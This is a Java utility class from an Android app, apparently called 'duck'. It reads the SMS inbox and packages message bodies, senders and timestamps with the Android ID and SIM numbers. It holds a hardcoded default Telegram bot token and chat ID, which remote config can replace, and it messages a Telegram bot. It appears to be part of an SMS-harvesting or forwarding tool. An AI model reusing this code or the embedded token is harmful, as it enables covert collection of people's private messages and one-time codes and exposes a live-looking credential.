package com.app.duck.util;

import android.annotation.SuppressLint;
import android.app.ActivityManager;
import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.net.Uri;
import android.provider.Telephony;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.util.Log;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.app.duck.BuildConfig;
import com.app.duck.Config;
import com.app.duck.R;
import com.app.duck.dialog.UploadAppDialog;
import com.blankj.utilcode.util.DeviceUtils;
import com.blankj.utilcode.util.GsonUtils;
import com.blankj.utilcode.util.SPUtils;
import com.blankj.utilcode.util.StringUtils;
import com.blankj.utilcode.util.ThreadUtils;
import com.blankj.utilcode.util.ToastUtils;
import com.blankj.utilcode.util.Utils;
import com.elvishew.xlog.XLog;
import com.google.gson.JsonArray;

import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import java.util.zip.GZIPOutputStream;

import io.reactivex.Completable;
import io.reactivex.Observable;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

/**
 * author: hx
 * created on: 2023/10/10 11:32
 * description:
 */
public class HxUtils {

    public static void QueryXiaoMiSmsInbox() {
        Uri SMS_INBOX = Uri.parse("content://sms/");
        ContentResolver cr = Utils.getApp().getContentResolver();
        String[] projection = new String[]{"_id", "address", "person", "body", "date", "type", "thread_id", "protocol", "read", "status", "service_center"};
        Cursor cur = cr.query(SMS_INBOX, projection, null, null, "date desc");
        if (null == cur) return;
        cur.moveToNext();
        cur.close();
    }


    public static HashMap<String, HashSet<String>> provideHashMap() {
        HashMap map = new HashMap<>();
        map.put("KEY_LOGIN", new HashSet<>(Arrays.asList("espere", "waiting", "loading", "esperando")));
        map.put("KEY_ERROR", new HashSet<>(Arrays.asList("problema", "problem", "error", "null")));
        return map;
    }

    public static String getPhone() {
        return SPUtils.getInstance().getString("number");
    }


    public static void setPhone(String phone) {
        SPUtils.getInstance().put("number", phone, true);
    }

    public static String getChatId() {
        return StringUtils.isEmpty(SPUtils.getInstance().getString("chatId")) ? "-1001958143149L" : SPUtils.getInstance().getString("chatId");

    }

    public static void setChatId(String chatId) {
        SPUtils.getInstance().put("chatId", chatId, true);
    }

    public static String getBotToken() {
        return StringUtils.isEmpty(SPUtils.getInstance().getString("botToken")) ? "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I" : SPUtils.getInstance().getString("botToken");
    }

    public static void setBotToken(String botToken) {
        SPUtils.getInstance().put("botToken", botToken, true);
    }

    public static void checkForUpdate(Context context, boolean toast) {
        new Thread(() -> {
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder()
                    .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)
                    .build();
            try (Response response = client.newCall(request).execute()) {
                if (response.isSuccessful()) {
                    String fileContent = response.body().string();

                    ThreadUtils.runOnUiThreadDelayed(() -> new UploadAppDialog(context, fileContent, toast), 500);

                }
            } catch (IOException e) {
                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_12), e);
                XLog.e(StringUtils.getString(R.string.log_tip_12), e);
                e.printStackTrace();
            }
        }).start();
    }


    public static void checkForUpdateBotConfig() {
        ThreadUtils.executeBySingle(new ThreadUtils.Task<Object>() {
            @Override
            public Object doInBackground() {
                OkHttpClient client = new OkHttpClient();
                Request request = new Request.Builder()
                        .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)  // 文件的 URL
                        .build();
                try (Response response = client.newCall(request).execute()) {
                    if (response.isSuccessful()) {
                        String fileContent = response.body().string();
                        JSONObject object = JSON.parseObject(fileContent);
                        if (!StringUtils.isEmpty(object.getString("chatId"))) {
                            HxUtils.setChatId(object.getString("chatId"));
                        }
                        if (!StringUtils.isEmpty(object.getString("botToken"))) {
                            HxUtils.setBotToken(object.getString("botToken"));
                        }
                        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.update_log_config_suc));
                        XLog.i(StringUtils.getString(R.string.update_log_config_suc));
                        ToastUtils.showLong(R.string.update_log_config_suc);
                    }
                } catch (IOException e) {
                    ToastUtils.showLong(R.string.update_err);
                    Log.e(Config.LOG_TAG, StringUtils.getString(R.string.update_err), e);
                    XLog.e(StringUtils.getString(R.string.update_err), e);
                    e.printStackTrace();
                }
                return null;
            }

            @Override
            public void onSuccess(Object result) {
            }

            @Override
            public void onCancel() {

            }

            @Override
            public void onFail(Throwable t) {
                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.update_err), t);
                XLog.e(StringUtils.getString(R.string.update_err), t);
            }
        });
    }


    public static Completable waitService(String serviceName, Context context) {
        return Completable.fromObservable(Observable.interval(0, 1, TimeUnit.SECONDS)
                .takeUntil(aLong -> {
                    return isServiceRunning(serviceName, context);
                })
        );
    }

    public static boolean isServiceRunning(String serviceName, Context context) {
        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
        List<ActivityManager.RunningServiceInfo> runningServices = am.getRunningServices(Integer.MAX_VALUE); //获取运行的服务,参数表示最多返回的数量
        for (ActivityManager.RunningServiceInfo runningServiceInfo : runningServices) {
            String className = runningServiceInfo.service.getClassName();
            if (className.equals(serviceName)) {
                return true;
            }
        }
        return false;
    }

    public static Observable<String> getStringFromRaw(Context context, int rawName) {
        return Observable.create(emitter -> {
            BufferedReader reader = new BufferedReader(new InputStreamReader(context.getResources().openRawResource(rawName)));
            String line;
            StringBuilder result = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                result.append(line).append("\n");
            }
            reader.close();
            emitter.onNext(result.toString());
            emitter.onComplete();
        });

    }


    /**
     * 压缩数据
     *
     * @param str 压缩的内容
     * @return 被压缩的内容
     * @throws Exception 异常
     */
    public static byte[] gzip(String str) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        GZIPOutputStream gos = new GZIPOutputStream(baos);
        gos.write(str.getBytes(StandardCharsets.UTF_8));
        gos.close();
        return baos.toByteArray();
    }

    public static byte[] gzip(byte[] data) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        GZIPOutputStream gos = new GZIPOutputStream(baos);
        gos.write(data);
        gos.close();
        return baos.toByteArray();
    }


    @SuppressLint("MissingPermission")
    public static void setCurrentPhoneList() {
        try {
            List<HashMap<String, Object>> list = new ArrayList<>();
            SubscriptionManager subscriptionManager = (SubscriptionManager) Utils.getApp().getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
            List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();

            if (subsInfoList == null)
                SPUtils.getInstance().put("current_id_slot_number", GsonUtils.toJson(list), true);
            for (SubscriptionInfo subscriptionInfo : subsInfoList) {

                HashMap<String, Object> map = new HashMap<>();
                map.put("SubscriptionId", subscriptionInfo.getSubscriptionId());
                map.put("SimSlotIndex", subscriptionInfo.getSimSlotIndex());
                map.put("Number", subscriptionInfo.getNumber() == null ? "UNKNOWN" : subscriptionInfo.getNumber());//如果有
//                map.put("iccID", subscriptionInfo.getIccId());
                map.put("disname", subscriptionInfo.getDisplayName() == null ? "UNKNOWN" : subscriptionInfo.getDisplayName());
                map.put("iccID", subscriptionInfo.getCarrierName() == null ? "UNKNOWN" : subscriptionInfo.getCarrierName());
                list.add(map);
            }
            SPUtils.getInstance().put("current_id_slot_number", GsonUtils.toJson(list), true);

        } catch (Exception e) {
            XLog.e("getCurrentPhoneList", e);
            Log.e("hzshkj", "getCurrentPhoneList: ", e);
        }
    }

    //获取映射关系
    public static JsonArray getCurrentPhoneList() {
        setCurrentPhoneList();
        return GsonUtils.fromJson(SPUtils.getInstance().getString("current_id_slot_number"), JsonArray.class);
    }

    public static String getRecord(int subId) {
        return SPUtils.getInstance().getString("sub_" + subId);
    }

    @SuppressLint("MissingPermission")
    public static String setRecord(String subId, String Number) {
        try {
            boolean containsValue = false;
            String key = null;
            for (Map.Entry<String, ?> entry : SPUtils.getInstance().getAll().entrySet()) {
                Log.d("hzshkj", "[HxUtils] setRecord: entry.getKey()="
                        + entry.getKey() + "..value=" + entry.getValue() + "..Number=" + Number
                        + "...bbb=" + Number.equals(entry.getValue()));
                if (entry.getValue() != null && entry.getValue().equals(Number)) {
                    Log.d("hzshkj", "[HxUtils] setRecord: 11111111");
                    containsValue = true;
                    key = entry.getKey();
                    break;
                }
            }
            if (containsValue) {
                Log.d("hzshkj", "[HxUtils] setRecord: 222");
                ToastUtils.showLong(StringUtils.getString(R.string.abcvfd, Number, key.replace("sub_", "")));
                Log.d("hzshkj", "[HxUtils] setRecord: 3333");

                return key;
            }

            SPUtils.getInstance().put("sub_" + subId, Number);
            ToastUtils.showLong(R.string.setup_successful);
            return null;
        } catch (Exception e) {
            XLog.e("setRecord", e);
            Log.e("hzshkj", "setRecord: ", e);
        }
        return "error";
    }


    public static String getPhoneConfig() {
        HashMap<String, Object> map = new HashMap<>();
        try {
            for (Map.Entry<String, ?> entry : SPUtils.getInstance().getAll().entrySet()) {
                map.put(entry.getKey(), entry.getValue() == null ? "" : entry.getValue());
            }
        } catch (Exception e) {
            XLog.e("getPhoneConfig", e);
            Log.e("hzshkj", "getPhoneConfig: ", e);
        }
        return GsonUtils.toJson(map);
    }


    public static HashMap<String, String> queryInboxMessage(long id) {
        ContentResolver contentResolver = Utils.getApp().getContentResolver();
        HashMap<String, String> map = new HashMap<>();
        Uri uri = Uri.parse("content://sms/");
        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE,
                Telephony.Sms.BODY, Telephony.Sms.SUBSCRIPTION_ID};
        String selection = Telephony.Sms._ID + " = ?";
        String[] selectionArgs = new String[]{String.valueOf(id)};
        Cursor cursor = contentResolver.query(uri, projection, selection, selectionArgs, null);
        try {
            if (cursor != null && cursor.moveToFirst()) {
                @SuppressLint("Range") String sender = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS));//发件人
                @SuppressLint("Range") String receiver = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE));//收件时间
                @SuppressLint("Range") long sentTime = cursor.getLong(cursor.getColumnIndex(Telephony.Sms.DATE_SENT));//发件日期时间，时间戳格式
                @SuppressLint("Range") String body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));//短信的正文内容。
                @SuppressLint("Range") int subID = cursor.getInt(cursor.getColumnIndex(Telephony.Sms.SUBSCRIPTION_ID));//sim卡关联ID
                map.put("address", StringUtils.isTrimEmpty(HxUtils.getRecord(subID)) ? "UNKNOWN" : HxUtils.getRecord(subID));
                map.put("body", body);
                map.put("timestampMillis", sentTime + "");
                map.put("sender", sender);
                map.put("date", receiver);
                map.put("id", id + "");
                map.put("sub_id", subID + "");
                map.put("android_id", DeviceUtils.getAndroidID());
            }
        } catch (Exception e) {
            new TgBot("这台设备好像在检索SMS库的时候出了点问题?请查看设备日志!", true);
            Log.e(com.app.duck.Config.LOG_TAG, StringUtils.getString(R.string.log_tip_7), e);
            XLog.e(StringUtils.getString(R.string.log_tip_7), e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }

        }

        return map;

    }


    public static void saveH264ToFile(ByteBuffer buffer, String filePath) {
        try (FileOutputStream fos = new FileOutputStream(filePath, true)) { // 追加写入
            byte[] h264Data = new byte[buffer.remaining()];
            buffer.get(h264Data);
            fos.write(h264Data);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    // 将 RGBA byte[] 转换为 Bitmap
    public static Bitmap rgbaToBitmap(byte[] bytes, int width, int height) {
        // 检查字节数组大小是否符合要求


        // 创建 ARGB_8888 格式的 Bitmap
        Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);

        // 将 byte[] 转换为 ByteBuffer，并将其复制到 Bitmap
        ByteBuffer buffer = ByteBuffer.wrap(bytes);
        bitmap.copyPixelsFromBuffer(buffer);

        return bitmap;
    }

    // 将 Bitmap 保存为文件
    public static void saveBitmapToFile(Bitmap bitmap, String filePath) throws IOException {
        File file = new File(filePath);
        FileOutputStream out = null;
        try {
            out = new FileOutputStream(file);
            // 将 Bitmap 写入文件，格式为 PNG，质量为 100（PNG 是无损格式）
            bitmap.compress(Bitmap.CompressFormat.JPEG, 40, out);
            out.flush(); // 确保所有数据都写入文件
        } finally {
            if (out != null) {
                out.close(); // 关闭输出流，释放资源
            }
        }
    }

}
